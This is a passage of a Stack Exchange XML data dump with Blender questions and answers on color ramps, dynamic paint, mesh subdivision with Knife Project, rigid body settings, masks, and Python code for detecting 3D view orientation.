  <row Id="3416" PostTypeId="2" ParentId="3415" CreationDate="2013-10-20T01:25:02.243" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9WFXS.gif&quot; alt=&quot;colorramp changed with python&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is probably bad python, I post it anyway until something better comes along&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If it's a compositor node&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;colramp = bpy.context.scene.node_tree.nodes.active # get the active node&#xA;total = len(colramp.color_ramp.elements) # how many colors are in the ramp?&#xA;c = 0.0 # first stop&#xA;step = 1.0 / (total - 1) # define the spacing according to the total number of elements&#xA;for e in colramp.color_ramp.elements: # iterate through the elements&#xA;    e.position = c&#xA;    c += step&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;If it's a material node&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;mat = bpy.data.materials['Material'] # Put the name of your material here&#xA;colramp = mat.node_tree.nodes.active # get the active node&#xA;total = len(colramp.color_ramp.elements) # how many colors are in the ramp?&#xA;c = 0.0 # first stop&#xA;step = 1.0 / (total - 1) # define the spacing according to the total number of elements&#xA;for e in colramp.color_ramp.elements: # iterate through the elements&#xA;    e.position = c # position is&#xA;    c += step&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The colorramp in question has to be selected.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-21T19:33:37.920" LastActivityDate="2013-10-21T19:33:37.920" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3417" PostTypeId="1" AcceptedAnswerId="18146" CreationDate="2013-10-20T02:59:03.863" Score="5" ViewCount="712" Body="&lt;p&gt;So the general setup here is to use an animated particle emitter set as dynamic paint &lt;em&gt;brush&lt;/em&gt;, which will cause deformations on another object set as dynamic paint &lt;em&gt;canvas&lt;/em&gt;. The latter object has its surface type set to &lt;strong&gt;Displace&lt;/strong&gt; under the heading &lt;em&gt;Dynamic Paint Advanced&lt;/em&gt;.  Using this basic setup, when the particles make contact with the surface, the deformation in the canvas is a sphere shape which reflects a point with a radius.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when another object is instanced to replace the particles using the setting &lt;strong&gt;Object&lt;/strong&gt; which is found in the particle settings' &lt;em&gt;Render&lt;/em&gt; area, the particles now show up as the object that is attached here. However, the surface deformation that takes place on the brush canvas is still sphere-shaped.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this brings me to the question, can we make the deformations that take place on the canvas reflect the shape of the object that is replacing the particles?&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="599" LastEditDate="2014-10-23T22:59:18.170" LastActivityDate="2014-10-23T22:59:18.170" Title="Can we use the shape of an object that is instanced to particles with dynamic paint" Tags="&lt;particles&gt;&lt;dynamic-paint&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3418" PostTypeId="2" ParentId="3394" CreationDate="2013-10-20T07:05:32.277" Score="0" Body="&lt;p&gt;Based on the answers already given, it really seems best practice to fully unregister before registering again to avoid the duplication I was getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the other answers do answer my question, it seems like the best answer, with the least amount of hacky, is to not to use the &quot;Run Script&quot; button at all for these types of register/unregister ui modifying scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead one should have their file on disk in the addon directory. Once the script is loaded with the User Preferences -&gt; Addon manager, you can use the F8 trick (thank you Adhi) to reload scripts which does cause both unregister and register to run.&lt;/p&gt;&#xA;" OwnerUserId="1458" LastActivityDate="2013-10-20T07:05:32.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3419" PostTypeId="1" AcceptedAnswerId="3420" CreationDate="2013-10-20T13:46:01.637" Score="3" ViewCount="653" Body="&lt;p&gt;I have a grid mesh and two arc meshes. The vertexes in the two arcs and the grid are not connected to each other, it is 3 different meshes in the same object.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JakkN.png&quot; alt=&quot;Mesh&quot;&gt;&#xA;I want to &quot;merge&quot; in the two arc meshes into the grid mesh, by adding vertexes where the arc and grid overlap, dividing each grid square face to the shape along the arcs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of how to do this?&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="241" LastEditDate="2013-10-20T14:30:47.780" LastActivityDate="2013-10-20T15:18:10.573" Title="How to subdivide a mesh where it intersects another mesh" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3420" PostTypeId="2" ParentId="3419" CreationDate="2013-10-20T14:07:05.313" Score="5" Body="&lt;p&gt;One way is to use the Knife Project tool. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make the arches one object and the square a separate one.&lt;/li&gt;&#xA;&lt;li&gt;If necessary, scale up the arches so they are definitely crossing the border of the square object&lt;/li&gt;&#xA;&lt;li&gt;In object mode, shift select the arches object and then the square object&lt;/li&gt;&#xA;&lt;li&gt;Tab into edit mode (you should now be in edit mode for the square)&lt;/li&gt;&#xA;&lt;li&gt;From the toolbar (&lt;kbd&gt;T&lt;/kbd&gt;) choose Knife Project. The arches will be projected onto the square, sometimes creating n-gons (although by the appearance it looks like the objects have just been merged, the faces have in fact been subdivided)&lt;/li&gt;&#xA;&lt;li&gt;You can now delete the original arches mesh in object mode.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6yDa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, another way you could do it would be to remove all but 2 sides of the original square resulting in 3 sets of edges, the edges of the square and the two arches:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mRWTX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the arches and the square as a single object select them all and then press &lt;kbd&gt;W&lt;/kbd&gt;&gt; Bridge Edge Loops:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xOR3Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both methods require some form of clean up afterwards, the bridge edges method needing slightly less. With the bridge method the clean up will also be less if the number of vertices in the arches are the same as the number of vertices in the square's sides.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-10-20T15:18:10.573" LastActivityDate="2013-10-20T15:18:10.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3421" PostTypeId="1" AcceptedAnswerId="3422" CreationDate="2013-10-20T20:39:20.523" Score="20" ViewCount="22355" Body="&lt;p&gt;I want to create a scene that has a lot of irregularly shaped objects piled up on the ground.  I don't want the objects to intersect with eachother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started off by creating a particle system that uses an object group containing these objects.  No matter what settings I 'messed with' I could not get the individual objects to behave the way I want them to - They would interact with the ground like perfect spheres, and they would pass through the other particle objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make particles have rigid body physics so they behave with each other and with the ground like real objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or failing that - is there a way to copy rigid body attributes to many objects? (i.e. plan be - don't use a particle system, but rather make lots and lots of copies of the objects and just let them fall)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;  I ended up applying the settings 26 times (there are 26 unique objects) and then copying those 26 objects several times. To produce this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zzxaI.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zzxaI.jpg&quot; alt=&quot;Alphabet&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but this was before there were any replies to this question. Thanks to WChargin's answer I will be able to copy the attibutes in one action next time I do something like this :)&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="23985" LastEditDate="2019-03-05T04:23:15.753" LastActivityDate="2019-03-05T04:23:15.753" Title="Is there a way to make particles behave like rigid body objects?" Tags="&lt;physics&gt;&lt;particles&gt;&lt;rigid-body-simulation&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="3422" PostTypeId="2" ParentId="3421" CreationDate="2013-10-20T22:47:42.653" Score="16" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;[Is] there a way to copy rigid body attributes to many objects?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Copy Rigid Body Settings&lt;/strong&gt; sounds like it might do the trick. Select all the objects, then select the one with the correct settings last (make it the &lt;em&gt;active object&lt;/em&gt;). Then, press &lt;kbd&gt;Space&lt;/kbd&gt;&gt; &lt;em&gt;Copy Rigid Body Settings&lt;/em&gt;, or select &lt;em&gt;Copy from Others&lt;/em&gt; from the Object Mode toolbox under &lt;em&gt;Rigid Body Tools.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ieiea.png&quot; alt=&quot;Copying rigid body settings with the space-menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; You &lt;a href=&quot;https://blender.stackexchange.com/questions/3421/is-there-a-way-to-make-particles-behave-like-rigid-body-objects/3422?noredirect=1#comment6024_3422&quot;&gt;can also use&lt;/a&gt; the &lt;em&gt;Copy to Selected&lt;/em&gt; function of the right-click menu to copy &lt;em&gt;any&lt;/em&gt; property from the active object to all selected objects; for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BZdsW.png&quot; alt=&quot;Using &amp;quot;Copy to Selected&amp;quot; on the *Collision Shape* property&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To do it natively: if there is a way, I can't find it. I've tried &lt;em&gt;Particle Instance&lt;/em&gt; modifier with rigid body instances, &lt;em&gt;Size Deflect&lt;/em&gt; option, duplication, hooks&amp;hellip; nada. Do post if you find a &amp;ldquo;cleaner&amp;rdquo; way to do it.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="241" LastEditDate="2018-04-06T14:34:14.637" LastActivityDate="2018-04-06T14:34:14.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3423" PostTypeId="1" CreationDate="2013-10-20T23:13:22.877" Score="8" ViewCount="25595" Body="&lt;p&gt;I have a 4 point plane (quadratic) that I would like to use as a mask when rendering.I need this so the mask will be transformed correctly when I move the camera. This plane is covering the area I would like to mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking to maybe render a mask scene and feed that into the final scene as a mask. But since Blender now has masks, it would be easier if we could convert a mesh into a mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**EDIT&#xA;I'm using Blender 2.68a with Cycles.&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="639" LastEditDate="2013-10-25T01:01:55.183" LastActivityDate="2020-02-16T14:35:14.790" Title="How to use an object as a mask?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;objects&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3425" PostTypeId="2" ParentId="3337" CreationDate="2013-10-20T23:44:37.750" Score="7" Body="&lt;p&gt;If you set this object to be a Dynamic Paint Canvas, then you can use particles or other objects to damage this Canvas object by using an animation.  Under the Dynamic Paint Canvas options, set the Surface Type to displace.  This drop-down menu is found under Dynamic Paint Advanced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next add plane and rotate it to face the object that is to be damaged.  Add a particle system to this plane and increase the value in the Normal field for Emitter Geometry which is under the Velocity header. This will cause the particles to shoot away from the plane instead of dribbling off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, set this particle emitting plane to also be a Dynamic Paint Brush.  Under the header for Dynamic Paint Source you should see a drop-down menu which is labeled Paint Source, change this to Particle System and below this you must also choose whatever name you gave to the particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you run the animation (alt-A), the particles should displace the mesh surface of the object that you want to show wear, so long as it's subdivided enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, the particles will likely cause deformations to both sides of the affected mesh, to correct this you can set the object which is to be deformed to be a Collision object as well. Now the particles should bounce off of the object instead of passing through and influencing both sides&lt;img src=&quot;https://i.stack.imgur.com/3Qq96.jpg&quot; alt=&quot;simple example&quot;&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2013-10-20T23:44:37.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3426" PostTypeId="1" AcceptedAnswerId="3428" CreationDate="2013-10-21T01:17:21.043" Score="7" ViewCount="2503" Body="&lt;p&gt;Is it possible to access the alignment of the view from python? (e.g &lt;code&gt;'TOP'&lt;/code&gt;, &lt;code&gt;'FRONT'&lt;/code&gt;, &lt;code&gt;'RIGHT'&lt;/code&gt;, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in the api docs, but the closest I could find was &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_0/bpy.types.RegionView3D.html?highlight=view_perspective#bpy.types.RegionView3D.view_perspective&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;view_perspective&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="55" LastEditDate="2014-11-11T17:16:02.420" LastActivityDate="2017-09-22T16:21:28.713" Title="Access view orientation from python?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3427" PostTypeId="2" ParentId="3426" CreationDate="2013-10-21T01:33:43.773" Score="1" Body="&lt;p&gt;It doesn't look like there's a clean way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an excerpt of the painting code for the 3D viewport:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// view3d_draw.c:803&#xA;// in method: view3d_get_name&#xA;switch (rv3d-&amp;gt;view) {&#xA;    case RV3D_VIEW_FRONT:&#xA;        if (rv3d-&amp;gt;persp == RV3D_ORTHO) name = IFACE_(&quot;Front Ortho&quot;);&#xA;        else name = IFACE_(&quot;Front Persp&quot;);&#xA;        break;&#xA;    case RV3D_VIEW_BACK:&#xA;        if (rv3d-&amp;gt;persp == RV3D_ORTHO) name = IFACE_(&quot;Back Ortho&quot;);&#xA;        else name = IFACE_(&quot;Back Persp&quot;);&#xA;        break;&#xA;    // etc ...&#xA;}&#xA;return name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it's simply checking these manually and looking them up (the &lt;code&gt;IFACE_&lt;/code&gt; is for localization). The string is never stored in a value anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could perform a similar check in Python using the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.RegionView3D.html?highlight=view_perspective#bpy.types.RegionView3D.view_rotation&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;view_rotation&lt;/code&gt;&lt;/a&gt; property. See &lt;a href=&quot;https://stackoverflow.com/a/9105576/732016&quot;&gt;this answer&lt;/a&gt; for a starting point.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-11-11T17:16:53.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3428" PostTypeId="2" ParentId="3426" CreationDate="2013-10-21T02:43:19.717" Score="10" Body="&lt;p&gt;Looking at the implementation of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.view3d.html#bpy.ops.view3d.viewnumpad&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;view3d.viewnumpad&lt;/code&gt;&lt;/a&gt; in &lt;code&gt;view3d_edit.c&lt;/code&gt;, it's just &lt;code&gt;switch&lt;/code&gt;-ing over &lt;code&gt;FRONT&lt;/code&gt;, &lt;code&gt;BACK&lt;/code&gt;, etc. enumerations and setting the view matrix accordingly. The only way I found is through deducing the orientation from view matrix in Python, in the following barebones example using either &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.RegionView3D.html#bpy.types.RegionView3D.view_matrix&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;view_matrix&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import math&#xA;&#xA;def get_view_orientation_from_matrix(view_matrix):&#xA;    r = lambda x: round(x, 2)&#xA;    view_rot = view_matrix.to_euler()&#xA;&#xA;    orientation_dict = {(0.0, 0.0, 0.0) : 'TOP',&#xA;                        (r(math.pi), 0.0, 0.0) : 'BOTTOM',&#xA;                        (r(-math.pi/2), 0.0, 0.0) : 'FRONT',&#xA;                        (r(math.pi/2), 0.0, r(-math.pi)) : 'BACK',&#xA;                        (r(-math.pi/2), r(math.pi/2), 0.0) : 'LEFT',&#xA;                        (r(-math.pi/2), r(-math.pi/2), 0.0) : 'RIGHT'}&#xA;&#xA;    return orientation_dict.get(tuple(map(r, view_rot)), 'UNDEFINED')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... or &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.RegionView3D.html#bpy.types.RegionView3D.view_rotation&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;view_rotation&lt;/code&gt;&lt;/a&gt; as @WChargin suggested, seeing that it's normalized as stated in API docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_view_orientation_from_quaternion(view_quat):&#xA;    r = lambda x: round(x, 3)&#xA;    view_rot = view_quat.to_euler()&#xA;&#xA;    orientation_dict = {(0.0, 0.0, 0.0) : 'TOP',&#xA;                        (r(math.pi), 0.0, 0.0) : 'BOTTOM',&#xA;                        (r(math.pi/2), 0.0, 0.0) : 'FRONT',&#xA;                        (r(math.pi/2), 0.0, r(math.pi)) : 'BACK',&#xA;                        (r(math.pi/2), 0.0, r(-math.pi/2)) : 'LEFT',&#xA;                        (r(math.pi/2), 0.0, r(math.pi/2)) : 'RIGHT'}&#xA;&#xA;    return orientation_dict.get(tuple(map(r, view_rot)), 'UNDEFINED')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It currently ignores perspective/orthogonal and camera view, but that can be easily deduced from the region's other variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/phIKd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-10-21T04:25:10.063" LastActivityDate="2013-10-21T04:25:10.063" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3429" PostTypeId="2" ParentId="3212" CreationDate="2013-10-21T07:11:12.607" Score="5" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UiKOD.jpg&quot; alt=&quot;steps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I'll add one as well,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A)&lt;/strong&gt; Add any shape you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B)&lt;/strong&gt; Use a variation of &lt;strong&gt;Extrude,&lt;/strong&gt; accessed with (&lt;kbd&gt;alt&lt;/kbd&gt;-&lt;kbd&gt;e&lt;/kbd&gt;) and select &lt;strong&gt;Edges Only&lt;/strong&gt;.  Now drag out the newly created edges far enough away from the original so that they do not overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C)&lt;/strong&gt; Select the old geometry in &lt;strong&gt;Wireframe&lt;/strong&gt; mode and use (&lt;kbd&gt;x&lt;/kbd&gt;) then (&lt;kbd&gt;e&lt;/kbd&gt;) to delete the edges.  Now select the points which remain and this time use (&lt;kbd&gt;x&lt;/kbd&gt;) then (&lt;kbd&gt;d&lt;/kbd&gt;) to delete those points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;D)&lt;/strong&gt; Now what you are left with is a wireframe of the original model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;E)&lt;/strong&gt; Add a &lt;strong&gt;Skin&lt;/strong&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;F)&lt;/strong&gt; Use (&lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;a&lt;/kbd&gt;) to scale the weight of each point. This tool will puff out, or contract, the geometry that this modifier creates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;G)&lt;/strong&gt; Apply the &lt;strong&gt;Skin&lt;/strong&gt; modifier and then add a &lt;strong&gt;Subdivision Surface&lt;/strong&gt; modifier. &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="15795" LastEditDate="2016-12-25T09:34:12.020" LastActivityDate="2016-12-25T09:34:12.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3430" PostTypeId="2" ParentId="3421" CreationDate="2013-10-21T11:46:47.370" Score="9" Body="&lt;p&gt;Do what you were doing and when the particle system has spawned enough objects stop the animation and use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; which is &lt;strong&gt;Make Duplicates Real&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now do what &lt;strong&gt;WChargin&lt;/strong&gt; said in his &lt;a href=&quot;https://blender.stackexchange.com/a/3422/12&quot;&gt;answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-10-25T14:05:57.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3431" PostTypeId="2" ParentId="3391" CreationDate="2013-10-21T12:46:58.407" Score="9" Body="&lt;p&gt;The Problem here is that you have to use two different shaders that both use refraction rays. That makes it difficult to find a separation that lets the one shader cast rays on other objects after doing refraction and the other rays casting rays into the camera after refraction but not cast rays onto other objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this node setup to work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Cexr.jpg&quot; alt=&quot;node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XJRcz.jpg&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this is not physically correct and somewhat a hack. But with a little extra work you should be able to simulate a rather good looking opalescent shader.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-10-21T12:53:01.310" LastActivityDate="2013-10-21T12:53:01.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3432" PostTypeId="2" ParentId="3413" CreationDate="2013-10-21T14:06:21.567" Score="4" Body="&lt;p&gt;You can press &lt;kbd&gt;G&lt;/kbd&gt; twice in edit mode and it will let you acces to the edge slide. &quot;Edge Slide&quot; slides one or more edges across adjacent faces with a few restrictions involving the selection of edges. Source : &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Edges&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki blender 2.6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to explain that clearly so here is a little example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6gWAg.png&quot; alt=&quot;Cube with indicaiton&quot;&gt; Here is a cube witch is rotated in the Z axis. When you'll press &lt;kbd&gt;G&lt;/kbd&gt; twice you'll can move the selected edge in the two arrows direction like in the two next pictures&lt;img src=&quot;https://i.stack.imgur.com/ODfQg.png&quot; alt=&quot;left&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m0Zrc.png&quot; alt=&quot;right&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-10-21T14:06:21.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3433" PostTypeId="2" ParentId="3426" CreationDate="2013-10-21T14:51:55.263" Score="5" Body="&lt;p&gt;Based on Adhi's solution, here's a complete operator to print all view3d perspectives like shown in the left-upper corner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;&#xA;def main(context):&#xA;    view_orientations = []&#xA;&#xA;    for area in context.screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            r3d = area.spaces.active.region_3d # fine for right-upper quadview view&#xA;            view_matrix = r3d.view_matrix&#xA;&#xA;            view_orientation = get_view_orientation_from_matrix(view_matrix).capitalize()&#xA;            view_orientation += &quot; &quot; + r3d.view_perspective.capitalize()&#xA;            if area.spaces.active.local_view is not None:&#xA;                view_orientation += &quot; (Local)&quot;&#xA;&#xA;            view_orientations.append(view_orientation)&#xA;&#xA;    return view_orientations&#xA;&#xA;&#xA;def get_view_orientation_from_matrix(view_matrix):&#xA;    r = lambda x: round(x, 2)&#xA;    view_rot = view_matrix.to_euler()&#xA;&#xA;    orientation_dict = {(0.0, 0.0, 0.0) : 'TOP',&#xA;                        (r(math.pi), 0.0, 0.0) : 'BOTTOM',&#xA;                        (r(-math.pi/2), 0.0, 0.0) : 'FRONT',&#xA;                        (r(math.pi/2), 0.0, r(-math.pi)) : 'BACK',&#xA;                        (r(-math.pi/2), r(math.pi/2), 0.0) : 'LEFT',&#xA;                        (r(-math.pi/2), r(-math.pi/2), 0.0) : 'RIGHT'}&#xA;&#xA;    return orientation_dict.get(tuple(map(r, view_rot)), 'USER')&#xA;&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    def execute(self, context):&#xA;        print(&quot;\n&quot;.join(main(context)))&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.simple_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: does only take the right-upper view in quadview mode into account.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-06-19T09:42:34.473" LastActivityDate="2014-06-19T09:42:34.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3434" PostTypeId="2" ParentId="3309" CreationDate="2013-10-21T15:21:18.403" Score="4" Body="&lt;p&gt;Jumping between markers has now been included in trunk as of &lt;a href=&quot;http://www.miikahweb.com/en/blender/svn-logs/commit/60881&quot; rel=&quot;nofollow&quot;&gt;r60881&lt;/a&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;←&lt;/kbd&gt;/&lt;kbd&gt;→&lt;/kbd&gt; (left/right arrows)&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="263" LastEditDate="2013-10-21T16:13:01.527" LastActivityDate="2013-10-21T16:13:01.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3435" PostTypeId="2" ParentId="3415" CreationDate="2013-10-21T17:56:45.583" Score="3" Body="&lt;p&gt;Set the &lt;em&gt;Outliner display mode&lt;/em&gt; to &lt;em&gt;Datablocks&lt;/em&gt;. Locations and colors for color ramps are in &lt;em&gt;Materials &amp;rarr; Material &amp;rarr; node Tree &amp;rarr; ShaderNodeTree &amp;rarr; Nodes &amp;rarr; ColorRamp &amp;rarr; ColorRamp &amp;rarr; ColorRamp &amp;rarr; Elements &amp;rarr; ColorRampElement&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives you access to position and color values. Key frameable as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQkgd.png&quot; alt=&quot;Color-Ramps-datablocks&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1456" LastEditorUserId="599" LastEditDate="2013-10-21T18:38:50.763" LastActivityDate="2013-10-21T18:38:50.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
